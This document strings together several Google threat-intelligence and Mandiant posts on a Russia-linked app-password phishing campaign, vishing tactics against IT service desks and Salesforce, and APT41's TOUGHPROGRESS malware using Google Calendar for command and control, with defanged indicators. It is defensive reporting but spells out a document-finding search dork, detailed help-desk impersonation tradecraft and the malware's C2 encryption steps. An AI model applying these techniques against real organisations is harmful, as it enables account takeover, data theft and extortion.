In cooperation with external partners, Google Threat Intelligence Group (GTIG) observed a Russia state-sponsored cyber threat actor impersonating the U.S. Department of State. From at least April through early June 2025, this actor targeted prominent academics and critics of Russia, often using extensive rapport building and tailored lures to convince the target to set up application specific passwords (ASPs). Once the target shares the ASP passcode, the attackers establish persistent access to the victim’s mailbox. Two distinct campaigns are detailed in this post. This activity aligns with Citizen Lab’s recent research on social engineering attacks against ASPs, another useful resource for high risk users.

GTIG tracks this activity as UNC6293, a likely Russia state-sponsored cyber actor we assess with low confidence is associated with APT29 / ICECAP. After establishing rapport, the attacker sent phishing lures disguised as meeting invitations, and added spoofed Department of State email addresses on the cc line of the initial outreach to increase the legitimacy of the contact attempt. The initial phishing email itself is not directly malicious, but encourages the victim to respond to set up a meeting.

Figure 1: Keir Giles, a prominent British researcher on Russia, posted this screenshot of an email header with fake U.S. Department of State emails that was part of a UNC6293 campaign

Targets who responded received an email with a benign PDF lure attached. The State Department themed lure is customized to the target and contains instructions to securely access a fake Department of State cloud environment. This included directing victims to go to https://account.google.com and create an Application Specific Password (ASP) or “app passwords.” ASPs are randomly generated 16-character passcodes that allow third-party applications to access your Google Account, intended for applications and devices that do not support features like 2-step verification (2SV). To use an ASP you must set it up and provide a name for the application.

Figure 2: Benign PDF document with instructions

In campaign one, the ASP name suggested in the lure PDF was “ms.state.gov” and in campaign two, we observed a Ukrainian and Microsoft themed ASP name. After creating the ASP, the attackers directed the target to send them the 16-character code. The attackers then set up a mail client to use the ASP, likely with the end goal of accessing and reading the victim’s email correspondence. This method also allows the attackers to have persistent access to accounts.

Campaign 

Sender Theme

ASP Name

Attacker Infrastructure Used

Campaign 1

State Department

ms.state.gov

91.190.191.117 - Residential proxy

Campaign 2

Unknown

Ukrainian and Microsoft-themed ASP

91.190.191.117 - Residential proxy

Attackers logged into victim accounts primarily using residential proxies and VPS servers, in some cases re-using infrastructure to access different victim or attacker accounts. As a result, we were able to connect the two distinct campaigns we observed to the same cluster. We have re-secured the Gmail accounts compromised by these campaigns.

Mitigations

GTIG is committed to our mission of understanding and countering advanced threats. We use the results of our research to ensure that Google's products are secure and to protect our users and enterprise customers. 

Users have complete control over their ASPs and may create or revoke them on demand. Upon creation, Google sends a notification to the corresponding account Gmail, recovery email address, and any device signed in with that Google account to ensure the user intended to enable this form of authentication.

Figure 3: Google Account Help documentation on app passwords

Google provides enhanced security resources such as the Advanced Protection Program (APP), intended for individuals at high risk of targeted attacks and exposure to other serious threats. Opting to use the APP prevents an account from creating an ASP due to the program’s heightened security requirements.

We are committed to sharing our findings with the security community and with companies and individuals that may have been targeted by these activities, and we hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Lure PDF Document

SHA256: 329fda9939930e504f47d30834d769b30ebeaced7d73f3c1aadd0e48320d6b39

Written by: Nick Guttilla

Introduction

Organizations are increasingly relying on diverse digital communication channels for essential business operations. The way employees interact with colleagues, access corporate resources, and especially, receive information technology (IT) support is often conducted through calls, chat platforms, and other remote technologies. While these various available methods enhance both efficiency and global accessibility, they also introduce an expanded attack surface that can pose a significant risk if overlooked. Prevalence of in-person social interactions has diminished and remote IT structures, such as an outsourced service desk, has normalized employees' engagement with external or less familiar personnel. As a result, threat actors continue to use social engineering tactics.

Vishing in the Wild: A Tale of Two Actors

Social engineering is the psychological manipulation of people into performing unsolicited actions or divulging confidential information. It is an effective strategy that preys on human emotions and built-in vulnerabilities like trust and the desire to be helpful. Financially motivated threat actors have increasingly adopted voice-based social engineering, or "vishing," as a primary vector for initial access, though their specific methods and end goals can vary significantly.

Two prominent examples illustrate the versatility of this threat. The cluster tracked as UNC3944 (which overlaps with "Scattered Spider") has historically used vishing as a flexible entry point for a range of criminal enterprises. Their operators frequently call corporate service desks, impersonating employees to have credentials and multi-factor authentication (MFA) methods reset. This access is then leveraged for broader attacks, including SIM swapping, ransomware deployment, and data theft extortion.

More recently, the financially motivated actor UNC6040 has demonstrated a different vishing playbook. Its operators also impersonate IT support, but with the specific goal of deceiving employees into navigating to Salesforce’s connected app page and authorizing a malicious, actor-controlled version of the Data Loader application. This single action grants the actor the ability to perform large-scale data exfiltration from the victim's Salesforce environment, which is then used for subsequent extortion attempts. While both actors rely on vishing, their distinct objectives—UNC3944’s focus on account takeover for broad network access versus UNC6040’s targeted theft of CRM data—highlight the diverse risks organizations face from this tactic.

By reviewing the techniques, tactics, and procedures (TTPs) of actors like UNC3944 and UNC6040, organizations can better assess their own internal policies and guidelines when it comes to employee identification and protection of infrastructure and confidential data. Red teamers can also learn from their methodologies to better emulate real-world attacks and assist organizations in developing defense-in-depth strategies.

Mandiant has successfully used the following approaches to perform voice-based social engineering during Red Team Assessments for clients of varying sizes. The described techniques have enabled Mandiant to mimic TTPs from sophisticated vishing actors like UNC3944 and UNC6040, resulting in administrative-level user impersonation, corporate network perimeter breaches, and sensitive data access. Mandiant has additionally convinced multiple service desks to reset credentials and alter several forms of MFA. These simulated incidents have empowered organizations to proactively identify and resolve deficiencies that otherwise may have gone unnoticed and potentially exploited by a real threat actor.

aside_block

<ListValue: [StructValue([('title', "The Defender's Advantage podcast"), ('body', <wagtail.rich_text.RichText object at 0x3e8d92777ac0>), ('btn_text', 'Listen now'), ('href', 'https://open.spotify.com/episode/33WgtCDvXBHTiagvmWN8Kj'), ('image', None)])]>

Open-Source Intelligence Gathering (OSINT)

Effective social engineering campaigns are built upon extensive reconnaissance. The amount of information an attacker can source about corporate culture, employees, policies, procedures, and technologies in use directly impacts the maturity of a phishing scenario's development. A thorough search to provide a comprehensive overview of an organization from an outside perspective would include, but is not limited to, discovery of the following items:

• Network ranges and IP address space

• Top-level domains and subdomains

• Cloud service providers and email infrastructure

• Internet-accessible and internally used web applications

• Code repositories

• Corporate phone numbers and email address formats

• Employee positions and titles

• Physical office locations

• Publicly exposed internal documentation

Much of this information can often be found through publicly accessible resources. Company websites and marketing materials often list corporate contact information, including numbers for main lines, specific departments, or even individual employees. Social media platforms provide another means of profiling an organization. Professional networking services can be utilized to scrape the full names of employees and recreate corporate emails matching discovered naming conventions. Resumes shared on these platforms may also contain additional contact information including phone numbers and personal email addresses. Attackers may attempt to elicit private information by sending messages to employees from disposable email accounts, aiming to retrieve details through direct interaction or from out-of-office auto-replies. Additionally, public forums, where employees might seek troubleshooting assistance, can inadvertently reveal company-specific details. 

Search engines, such as Google, DuckDuckGo, and Bing, provide advanced filtering capabilities to narrow results from targeted queries based on keywords, file types, and other parameters. Figure 1 includes an example of a search filter designed to uncover sensitive files for a given target that may be unknowingly exposed.

“TARGET” filetype:pdf | filetype:doc | filetype:docx | filetype:xls | filetype:xlsx | filetype:ppt | filetype:pptx intext:"confidential" | intext:"internal use only" | intext:"not for public release" | intext:"restricted access"

Figure 1: Searching for documents with search filters

Anonymity networks, like The Onion Router (TOR), can be used to access hidden services, obtain restricted content, and identify supplemental data such as leaked employee IDs, usernames, passwords, and personally identifiable information (PII).  

The internet offers a vast array of resources, and a good amount of intelligence can be discovered without any overt interaction with your target.

Leveraging Automated Phone Services

Some organizations make use of automated phone systems that have pre-recorded messages and interactive menus. These systems can provide callers with business-related information, facilitate employee self-service, or route calls to appropriate departments. If not found online, an attacker may attempt to obtain the phone number for an automated service by contacting an employee, often at a reception desk, claiming to have misplaced the number. Calling into these automated services allows an attacker to anonymously identify common issues faced by end users, names of internal applications, additional phone numbers for specific support teams, and, occasionally, alerts about company-wide technical issues. This type of information can be used to craft pretexts for subsequent activity that involves impersonating IT support. 

Discovering Employee Identification Processes

Actors engaged in voice-based social engineering ultimately aim to interact with a human operator. While some automated systems provide a direct option to speak with a live agent, others can require some initial information to be provided, such as an employee ID. However, even in these cases, it is common for repeated incorrect entries to result in the transfer to a live agent anyway. Service desk agents handle a high volume of inbound calls ranging from internal employees needing a password reset to external customers experiencing problems with a public-facing application. They are generally given a scripted process for call handling including information they need to request from the caller for identification as well as where to escalate if they are unable to address the issue directly.

During the reconnaissance phase in social engineering a service desk, an attacker may feign ignorance or push boundaries of information disclosure before a requirement for identification is enforced. It is also important for an attacker to take note of how service desk personnel react to incorrect or insufficient information being provided. For example, an attacker may provide an employee ID with an incorrect associated name to observe the response, potentially eliciting the correct full name or determining the validity of the employee ID format. Attackers may also call at different times to converse with varying staff members, use different voice modulations to conceal repeated reconnaissance attempts, and iteratively learn more about the service desk's identification process each time.

Alternatively, once a service desk number has been identified, an attacker can better target standard employees directly. Using publicly available resources, attackers can spoof the inbound number of a phone call to match that of the legitimate service desk. Without a procedure for verifying inbound callers claiming to be from IT, unsuspecting targets may be convinced by threat actors to perform actions that grant account access or divulge information that can be used to better impersonate staff.

Crafting a Convincing Narrative

With sufficient reconnaissance data, an attacker can formulate targeted campaigns reflecting plausible employee scenarios. A common pretext for contacting a service desk is a forgotten password. Many organizations verify employees using multiple factors. While initial reconnaissance might provide an attacker with answers for knowledge-based authentication methods, challenges arise if device-based verification is required. An attacker might impersonate an employee who claims their phone is unavailable (e.g., damaged or lost during travel) and who needs urgent account access. Another common practice is for actors to impersonate employees identified as being on personal time off (PTO) via out-of-office replies, leveraging a sense of urgency to persuade service desk personnel. Responses to such situations can vary, especially for executive-level users. In the event of a successful MFA reset, the attacker can then call back and try to get a different agent on the phone to further reset the impersonated user's password for a full account compromise. If the legitimate employee is genuinely unavailable, unauthorized account access can persist for an extended period of time.

The Evolution of an Exploit 

The compromise of a single account can serve as a foundation for more complex social engineering campaigns. Breaching the perimeter of an organization often grants an attacker access to internal workflows, chats, documents, meeting invites, and ways to better uncover verified intelligence on existing employees. Open-source tools such as ROADrecon can extract details from entire Entra ID tenants, potentially revealing phone numbers, employee IDs, and organizational hierarchy. Attackers may also seek access to IT ticketing systems and support channels to impersonate service desk staff to end-users who have open requests. The more information an attacker possesses, the more believable their pretext becomes, increasing the probability of success.

Strategic Recommendations and Best Practices

Modern features in mobile technology, such as AI-powered Scam Detection on Android, demonstrate how software may be able to offer personal protection, but a comprehensive defense for organizations against vishing and related social engineering threats requires broad, proactive security initiatives and a defense-in-depth strategy. Mandiant recommends organizations consider the following best practices to reinforce their external perimeter and develop secure communication channels, particularly those involving IT support and employee verification.

Positive Identity Verification for Service Desk Interactions

• Train service desk personnel to rigorously perform positive identity verification for all employees before modifying accounts or providing security-sensitive information (including during initial enrollment). This is critical for any privileged accounts.

• Mandated verification methods should include options such as:

• On-camera/video conference verification where the employee presents a corporate badge or government-issued ID

• Utilization of an internal, up-to-date employee photo database

• Challenge/response questions based on information not easily discoverable externally (avoiding reliance on publicly available PII like date of birth or the last four digits of a Social Security number, as actors often possess this data)

• For high-risk changes, such as MFA resets or password changes for privileged accounts, implement out-of-band verification (e.g., a call-back to a registered phone number or confirmation via a known corporate email address of the employee or their manager).

• During periods of heightened threat or suspected compromise, consider temporarily disabling self-service password or MFA reset methods and routing all such requests through a manual service desk workflow with enhanced scrutiny.

Enforce Strong, Phishing-Resistant MFA

• MFA should be enforced on all sensitive and internet-facing portals to prevent unauthorized access even in the event of a password compromise. 

• Standardize one primary MFA solution, for most employees, to simplify security architecture and centralize a platform for detections and alerts.

• Remove weak forms of MFA, such as SMS, voice calls, or simple email links, as primary authentication factors. These are susceptible to vishing, SIM swapping, and other attacks.

• Prioritize phishing-resistant MFA methods:

• FIDO2-compliant security keys (hardware tokens), especially for administrative and privileged users

• Authenticator applications providing number matching or robust geo-verification features

• Soft-tokens that are not reliant on easily intercepted channels

• Ensure administrative users cannot register or use legacy/weak MFA methods, even if those are permitted for other user tiers.

Secure MFA Registration and Modification Processes

• Do not permit employees to self-register new MFA devices without stringent controls. Implement an IT-managed or otherwise secure enrollment process.

• Restrict MFA registration and modification actions to only be permissible from trusted IP locations and/or compliant corporate devices.

• Alert on and investigate suspicious MFA registration activities, such as the same MFA method or phone number being registered across multiple user accounts.

Manager Involvement and Segregation of Duties

• Service desks should notify managers (via verified contact channels sourced from internal directories) upon an employee's password reset, especially for sensitive accounts.

• Require manager approval, through a verified channel, for all MFA resets. This creates third-party awareness and an additional record.

• For larger organizations, consider segregating service desk responsibilities. Customer-facing support desks should generally not have permissions to modify internal corporate employee accounts.

Employee Training and Vishing Awareness

• Conduct regular phishing simulation exercises that include vishing scenarios to educate employees about the specific risks of voice-based social engineering.

• Train employees to always verify unexpected calls or requests for sensitive information, especially those claiming to be from IT support or other internal departments, by using an official internal directory to initiate a call-back or by contacting their manager.

• Train employees to recognize common vishing pretexts (e.g., urgent requests to avoid negative consequences, claims of system issues requiring immediate action, unexpected MFA prompts).

• Equip service desk employees with access to logs of previous calls and tickets to help identify abnormal patterns, such as repeated calls from unrecognized numbers or sequential MFA reset and password reset requests for the same user.

Security Monitoring and Alerting for Vishing-Related Activity

• Utilize security information and event management (SIEM) and security orchestration, automation, and response (SOAR) technologies to monitor employee sign-in activity and service desk interactions.

• Create specific alerts for the following:

• Password reset activity, particularly for privileged accounts or outside of expected patterns

• New MFA device enrollment or modification of existing MFA methods

• Multiple failed login attempts followed by a successful password or MFA reset

• MFA fatigue attacks (multiple sequential incomplete authentications)

• All activities flagged as abnormal should be reviewed by an internal security team and investigated with the impacted employee and their manager.

Further guidance on hardening against UNC3944-style threats, including broader identity, endpoint, and network infrastructure recommendations, is detailed by the Google Threat Intelligence Group (GTIG).

Conclusion

This discussion of voice-based social engineering and its proposed resolutions aims to provide insight into attack methodologies and preventative measures relevant to this threat vector. Organizations seeking direct support on this subject or other services related to attack simulation and red team exercises are encouraged to contact Mandiant for assistance. Mandiant can discuss specific needs in detail and explore tailored recommendations to better equip security postures against advanced and persistent threats.

Update (August 8): Google has completed its email notifications to those affected by this incident.

Update (August 8): Emails are actively being sent to those affected by this incident. Another update will be posted here once these alerts have been issued.

Update (August 5)

In June, one of Google’s corporate Salesforce instances was impacted by similar UNC6040 activity described in this post. Google responded to the activity, performed an impact analysis and began mitigations. The instance was used to store contact information and related notes for small and medium businesses. Analysis revealed that data was retrieved by the threat actor during a small window of time before the access was cut off. The data retrieved by the threat actor was confined to basic and largely publicly available business information, such as business names and contact details.

UNC6240

Google Threat Intelligence Group (GTIG) tracks the extortion activities following UNC6040 intrusions, sometimes several months after the initial data theft, as UNC6240. The extortion involves calls or emails to employees of the victim organization demanding payment in bitcoin within 72 hours. During these communications, UNC6240 has consistently claimed to be the threat group ShinyHunters.  

In addition, we believe threat actors using the 'ShinyHunters' brand may be preparing to escalate their extortion tactics by launching a data leak site (DLS). These new tactics are likely intended to increase pressure on victims, including those associated with the recent UNC6040 Salesforce-related data breaches. We continue to monitor this actor and will provide updates as appropriate.

UNC6240 Extortion Email Sender Addresses

• shinycorp@tuta[.]com
• shinygroup@tuta[.]com

UNC6040 (Evolving TTPs)

GTIG has observed an evolution in UNC6040's TTPs. While the group initially relied on the Salesforce Dataloader application, they have since shifted to using custom applications. These custom applications are typically Python scripts that perform a similar function to the Dataloader app. The updated attack chain involves a voice call to enroll a victim, which the threat actor initiates while using Mullvad VPN IPs or TOR. Following this initial engagement, the data collection is automated and through TOR IPs, a change that further complicates attribution and tracking efforts. GTIG observed that the threat actor shifted from creating Salesforce trial accounts using webmail emails to using compromised accounts from unrelated organizations to initially register their malicious applications. 

A Google Threat Intelligence (GTI) collection of related Indicators of Compromise (IOCs) is available.

Introduction

Google Threat Intelligence Group (GTIG) is tracking UNC6040, a financially motivated threat cluster that specializes in voice phishing (vishing) campaigns specifically designed to compromise organizations' Salesforce instances for large-scale data theft and subsequent extortion. Over the past several months, UNC6040 has demonstrated repeated success in breaching networks by having its operators impersonate IT support personnel in convincing telephone-based social engineering engagements. This approach has proven particularly effective in tricking employees, often within English-speaking branches of multinational corporations, into actions that grant the attackers access or lead to the sharing of sensitive credentials, ultimately facilitating the theft of organization’s Salesforce data. In all observed cases, attackers relied on manipulating end users, not exploiting any vulnerability inherent to Salesforce.

A prevalent tactic in UNC6040's operations involves deceiving victims into authorizing a malicious connected app to their organization's Salesforce portal. This application is often a modified version of Salesforce’s Data Loader, not authorized by Salesforce. During a vishing call, the actor guides the victim to visit Salesforce's connected app setup page to approve a version of the Data Loader app with a name or branding that differs from the legitimate version. This step inadvertently grants UNC6040 significant capabilities to access, query, and exfiltrate sensitive information directly from the compromised Salesforce customer environments. This methodology of abusing Data Loader functionalities via malicious connected apps is consistent with recent observations detailed by Salesforce in their guidance on protecting Salesforce environments from such threats.

In some instances, extortion activities haven't been observed until several months after the initial UNC6040 intrusion activity, which could suggest that UNC6040 has partnered with a second threat actor that monetizes access to the stolen data. During these extortion attempts, the actor has claimed affiliation with the well-known hacking group ShinyHunters, likely as a method to increase pressure on their victims.

Figure 1: Data Loader attack flow

UNC6040

GTIG is currently tracking a significant portion of the investigated activity as UNC6040. UNC6040 is a financially motivated threat cluster that accesses victim networks by voice phishing social engineering. Upon obtaining access, UNC6040 has been observed immediately exfiltrating data from the victim’s Salesforce environment using Salesforce’s Data Loader application. Following this initial data theft, UNC6040 was observed leveraging end-user credentials obtained through credential harvesting or vishing to move laterally through victim networks, accessing and exfiltrating data from the victim's accounts on other cloud platforms such as Okta and Microsoft 365.

Attacker Infrastructure 

UNC6040 utilized infrastructure to access Salesforce applications that also hosted an Okta phishing panel. This panel was used to trick victims into visiting it from their mobile phones or work computers during the social engineering calls. In these interactions, UNC6040 also directly requested user credentials and multifactor authentication codes to authenticate and add the Salesforce Data Loader application, facilitating data exfiltration.

Alongside the phishing infrastructure, UNC6040 primarily used Mullvad VPN IP addresses to access and perform the data exfiltration on the victim’s Salesforce environments and other services of the victim's network.

Overlap with Groups Linked to “The Com”

GTIG has observed infrastructure across various intrusions that shares characteristics with elements previously linked to UNC6040 and threat groups suspected of ties to the broader, loosely organized collective known as "The Com". We’ve also observed overlapping tactics, techniques, and procedures (TTPs), including social engineering via IT support, the targeting of Okta credentials, and an initial focus on English-speaking users at multinational companies. It's plausible that these similarities stem from associated actors operating within the same communities, rather than indicating a direct operational relationship between the threat actors.

Data Loader

Data Loader is an application developed by Salesforce, designed for the efficient import, export, and update of large data volumes within the Salesforce platform. It offers both a user interface and a command-line component, the latter providing extensive customization and automation capabilities. The application supports OAuth and allows for direct "app" integration via the "connected apps" functionality in Salesforce. Threat actors abuse this by persuading a victim over the phone to open the Salesforce connect setup page and enter a "connection code," thereby linking the actor-controlled Data Loader to the victim's environment.

Figure 2: The victim needs to enter a code to connect the threat actor controlled Data Loader

Modifications 

In some of the intrusions using Data Loader, threat actors utilized modified versions of Data Loader to exfiltrate Salesforce data from victim organizations. The proficiency with the tool and capabilities by executed queries seems to differ from one intrusion to another. 

In one instance, a threat actor used small chunk sizes for data exfiltration from Salesforce but was only able to retrieve approximately 10% of the data before detection and access revocation. In another case, numerous test queries were made with small chunk sizes initially. Once sufficient information was gathered, the actor rapidly increased the exfiltration volume to extract entire tables.

There were also cases where the threat actors configured their Data Loader application with the name "My Ticket Portal", aligning the tool's appearance with the social engineering pretext used during the vishing calls.

Outlook & Implications  

Voice phishing (vishing) as a social engineering method is not, in itself, a novel or innovative technique; it has been widely adopted by numerous financially motivated threat groups over recent years with varied results. However, this campaign by UNC6040 is particularly notable due to its focus on exfiltrating data specifically from Salesforce environments. Furthermore, this activity underscores a broader and concerning trend: threat actors are increasingly targeting IT support personnel as a primary vector for gaining initial access, exploiting their roles to compromise valuable enterprise data.

The success of campaigns like UNC6040's, leveraging these refined vishing tactics, demonstrates that this approach remains an effective threat vector for financially motivated groups seeking to breach organizational defenses. 

Given the extended time frame between initial compromise and extortion, it is possible that multiple victim organizations and potentially downstream victims could face extortion demands in the coming weeks or months.

Readiness, Mitigations, and Hardening 

This campaign underscores the importance of a shared responsibility model for cloud security. While platforms like Salesforce provide robust, enterprise-grade security controls, it’s essential for customers to configure and manage access, permissions, and user training according to best practices.

To defend against social engineering threats, particularly those abusing tools like Data Loader for data exfiltration, organizations should implement a defense-in-depth strategy. GTIG recommends the following key mitigations and hardening steps:

• Adhere to the Principle of Least Privilege, Especially for Data Access Tools: Grant users only the permissions essential for their roles—no more, no less. Specifically for tools like Data Loader, which often require the "API Enabled" permission for full functionality, limit its assignment strictly. This permission allows broad data export capabilities; therefore, its assignment must be carefully controlled. Per Salesforce's guidance, review and configure Data Loader access to restrict the number of users who can perform mass data operations, and regularly audit profiles and permission sets to ensure appropriate access levels.

• Manage Access to Connected Applications Rigorously: Control how external applications, including Data Loader, interact with your Salesforce environment. Diligently manage access to your connected apps, specifying which users, profiles, or permission sets can use them and from where. Critically, restrict powerful permissions such as "Customize Application" and "Manage Connected Apps"—which allow users to authorize or install new connected applications—only to essential and trusted administrative personnel. Consider developing a process to review and approve connected apps, potentially allowlisting known safe applications to prevent the unauthorized introduction of malicious ones, such as modified Data Loader instances.

• Enforce IP-Based Access Restrictions: To counter unauthorized access attempts, including those from threat actors using commercial VPNs, implement IP address restrictions. Set login ranges and trusted IPs, thereby restricting access to your defined enterprise and VPN networks. Define permitted IP ranges for user profiles and, where applicable, for connected app policies to ensure that logins and app authorizations from unexpected or non-trusted IP addresses are denied or appropriately challenged.

• Leverage Advanced Security Monitoring and Policy Enforcement with Salesforce Shield: For enhanced alerting, visibility, and automated response capabilities, utilize tools within Salesforce Shield. Transaction Security Policies allow you to monitor activities like large data downloads (a common sign of Data Loader abuse) and automatically trigger alerts or block these actions. Complement this with "Event Monitoring" to gain deep visibility into user behavior, data access patterns (e.g., who viewed what data and when), API usage, and other critical activities, helping to detect anomalies indicative of compromise. These logs can also be ingested into your internal security tools for broader analysis.

• Enforce Multi-Factor Authentication (MFA) Universally: While the social engineering tactics described may involve tricking users into satisfying an MFA prompt (e.g., for authorizing a malicious connected app), MFA remains a foundational security control. Salesforce states that "MFA is an essential, effective tool to enhance protection against unauthorized account access" and requires it for direct logins. Ensure MFA is robustly implemented across your organization and that users are educated on MFA fatigue tactics and social engineering attempts designed to circumvent this critical protection.

By implementing these measures, organizations can significantly strengthen their security posture against the types of vishing and the UNC6040 data exfiltration campaign detailed in this report. Regularly review Salesforce’s security documentation, including the Salesforce Security Guide for additional detailed guidance.

Read our vishing technical analysis for more details on the vishing threat, and strategic recommendations and best practices to stay ahead of it.

Written by: Patrick Whitsell

Google Threat Intelligence Group’s (GTIG) mission is to protect Google’s billions of users and Google’s multitude of products and services. In late October 2024, GTIG discovered an exploited government website hosting malware being used to target multiple other government entities. The exploited site delivered a malware payload, which we have dubbed “TOUGHPROGRESS”, that took advantage of Google Calendar for command and control (C2). Misuse of cloud services for C2 is a technique that many threat actors leverage in order to blend in with legitimate activity. 

We assess with high confidence that this malware is being used by the PRC based actor APT41 (also tracked as HOODOO). APT41’s targets span the globe, including governments and organizations within the global shipping and logistics, media and entertainment, technology, and automotive sectors. 

Overview

In this blog post we analyze the malware delivery methods, technical details of the malware attack chain, discuss other recent APT41 activities, and share indicators of compromise (IOCs) to help security practitioners defend against similar attacks. We also detail how GTIG disrupted this campaign using custom detection signatures, shutting down attacker-controlled infrastructure, and protections added to Safe Browsing.

Figure 1: TOUGHPROGRESS campaign overview

Delivery

APT41 sent spear phishing emails containing a link to the ZIP archive hosted on the exploited government website. The archive contains an LNK file, masquerading as a PDF, and a directory. Within this directory we find what looks like seven JPG images of arthropods. When the payload is executed via the LNK, the LNK is deleted and replaced with a decoy PDF file that is displayed to the user indicating these species need to be declared for export.

$ unzip -l 出境海關申報清單.zip Length Date Time Name --------- ---------- ----- ---- 0 2024-10-23 11:00 image/ 12633 2024-10-23 10:53 image/1.jpg 10282 2024-10-23 10:54 image/2.jpg 8288 2024-10-23 10:54 image/3.jpg 4174 2024-10-23 10:54 image/4.jpg 181656 2024-10-23 10:54 image/5.jpg 997111 2024-10-23 11:00 image/6.jpg 124928 2024-10-23 11:00 image/7.jpg 88604 2024-10-23 11:03 申報物品清單.pdf.lnk --------- ------- 1427676 9 files

The files “6.jpg” and “7.jpg” are fake images. The first file is actually an encrypted payload and is decrypted by the second file, which is a DLL file launched when the target clicks the LNK. 

Malware Infection Chain

This malware has three distinct modules, deployed in series, each with a distinct function. Each module also implements stealth and evasion techniques, including memory-only payloads, encryption, compression, process hollowing, control flow obfuscation, and leveraging Google Calendar for C2.

1. PLUSDROP - DLL to decrypt and execute the next stage in memory.

2. PLUSINJECT - Launches and performs process hollowing on a legitimate “svchost.exe” process, injecting the final payload.

3. TOUGHPROGRESS - Executes actions on the compromised Windows host. Uses Google Calendar for C2. 

TOUGHPROGRESS Analysis

TOUGHPROGRESS begins by using a hardcoded 16-byte XOR key to decrypt embedded shellcode stored in the sample’s “.pdata” region. The shellcode then decompresses a DLL in memory using COMPRESSION_FORMAT_LZNT1. This DLL layers multiple obfuscation techniques to obscure the control flow. 

1. Register-based Indirect Calls

2. Dynamic Address Arithmetic

3. 64-bit register overflow

4. Function Dispatch Table

The registered-based indirect call is used after dynamically calculating the address to store in the register. This calculation involves two or more hardcoded values that intentionally overflow the 64-bit register. Here is an example calling CreateThread.

Figure 2: Register-based indirect call with dynamic address arithmetic and 64-bit overflow

We can reproduce how this works using Python “ctypes” to simulate 64-bit register arithmetic. Adding the two values together overflows the 64-bit address space and the result is the address of the function to be called.

Figure 3: Demonstration of 64-bit address overflow

Figure 4: CreateThread in Dispatch Table

These obfuscation techniques manifest as a Control Flow Obfuscation tactic. Due to the indirect calls and arithmetic operations, the disassembler cannot accurately recreate a control flow graph.

Calendar C2

TOUGHPROGRESS has the capability to read and write events with an attacker-controlled Google Calendar. Once executed, TOUGHPROGRESS creates a zero minute Calendar event at a hardcoded date, 2023-05-30, with data collected from the compromised host being encrypted and written in the Calendar event description. 

The operator places encrypted commands in Calendar events on 2023-07-30 and 2023-07-31, which are predetermined dates also hardcoded into the malware. TOUGHPROGRESS then begins polling Calendar for these events. When an event is retrieved, the event description is decrypted and the command it contains is executed on the compromised host. Results from the command execution are encrypted and written back to another Calendar event.

In collaboration with the Mandiant FLARE team, GTIG reverse engineered the C2 encryption protocol leveraged by TOUGHPROGRESS. The malware uses a hardcoded 10-byte XOR key and generates a per-message 4-byte XOR key.

1. Compress message with LZNT1

2. Encrypt the message with a 4-byte XOR key

3. Append the 4-byte key at the end of a message header (10 bytes total)

4. Encrypt the header with the 10-byte XOR key

5. Prepend the encrypted header to the front of the message

6. The combined encrypted header and message is the Calendar event description

Figure 5: TOUGHPROGRESS encryption routine for Calendar Event Descriptions

Figure 6: Example of a Calendar event created by TOUGHPROGRESS

Disrupting Attackers to Protect Google, Our Users, and Our Customers

GTIG’s goal is not just to monitor threats, but to counter and disrupt them. At Google, we aim to protect our users and customers at scale by proactively blocking malware campaigns across our products. 

To disrupt APT41 and TOUGHPROGRESS malware, we have developed custom fingerprints to identify and take down attacker-controlled Calendars. We have also terminated attacker-controlled Workspace projects, effectively dismantling the infrastructure that APT41 relied on for this campaign. Additionally, we updated file detections and added malicious domains and URLs to the Google Safe Browsing blocklist. 

In partnership with Mandiant Consulting, GTIG notified the compromised organizations. We provided the notified organizations with a sample of TOUGHPROGRESS network traffic logs, and information about the threat actor, to aid with detection and incident response.

Protecting Against Ongoing Activity

GTIG has been actively monitoring and protecting against APT41’s attacks using Workspace apps for several years. This threat group is known for their creative malware campaigns, sometimes leveraging Workspace apps. 

• Google Cloud’s Office of the CISO published the April 2023 Threat Horizons Report detailing HOODOO’s use of Google Sheets and Google Drive for malware C2.

• In October 2024, Proofpoint published a report attributing the VOLDEMORT malware family to APT41. 

• The DUSTTRAP malware family, reported by GTIG and Mandiant in July of 2024, used Public Cloud hosting for C2.

In each case, GTIG identified and terminated the attacker-controlled Workspace projects and infrastructure APT41 relied on for these campaigns.

Free Web Hosting Infrastructure

Since at least August 2024, we have observed APT41 using free web hosting tools for distributing their malware. This includes VOLDEMORT, DUSTTRAP, TOUGHPROGRESS and likely other payloads as well. Links to these free hosting sites have been sent to hundreds of targets in a variety of geographic locations and industries. 

APT41 has used Cloudflare Worker subdomains the most frequently. However, we have also observed use of InfinityFree and TryCloudflare. The specific subdomains and URLs here have been observed in previous campaigns, but may no longer be in use by APT41.

Cloudflare Workers

• word[.]msapp[.]workers[.]dev 

• cloud[.]msapp[.]workers[.]dev 

TryCloudflare

• term-restore-satisfied-hence[.]trycloudflare[.]com

• ways-sms-pmc-shareholders[.]trycloudflare[.]com

InfinityFree

• resource[.]infinityfreeapp[.]com

• pubs[.]infinityfreeapp[.]com

APT41 has also been observed using URL shorteners in their phishing messages. The shortened URL redirects to their malware hosted on free hosting app subdomains. 

• https[:]//lihi[.]cc/6dekU

• https[:]//tinyurl[.]com/hycev3y7

• https[:]//my5353[.]com/nWyTf

• https[:]//reurl[.]cc/WNr2Xy

All domains and URLs in this blog post have been added to the Safe Browsing blocklist. This enables a warning on site access and prevents users from downloading the malware. 

Indicators of Compromise

The IOCs in this blog post are also available as a collection in Google Threat Intelligence.

Hashes

 

Name

Hashes (SHA256 / MD5)

出境海關申報清單.zip

469b534bec827be03c0823e72e7b4da0b84f53199040705da203986ef154406a 876fb1b0275a653c4210aaf01c2698ec

申報物品清單.pdf.lnk

3b88b3efbdc86383ee9738c92026b8931ce1c13cd75cd1cda2fa302791c2c4fb 65da1a9026cf171a5a7779bc5ee45fb1

6.jpg

50124174a4ac0d65bf8b6fd66f538829d1589edc73aa7cf36502e57aa5513360 1ca609e207edb211c8b9566ef35043b6

7.jpg

151257e9dfda476cdafd9983266ad3255104d72a66f9265caa8417a5fe1df5d7 2ec4eeeabb8f6c2970dcbffdcdbd60e3

Domains

• word[.]msapp[.]workers[.]dev 

• cloud[.]msapp[.]workers[.]dev 

• term-restore-satisfied-hence[.]trycloudflare[.]com

• ways-sms-pmc-shareholders[.]trycloudflare[.]com

• resource[.]infinityfreeapp[.]com 

• pubs[.]infinityfreeapp[.]com

URL Shortener Links

• https[:]//lihi[.]cc/6dekU

• https[:]//lihi[.]cc/v3OyQ

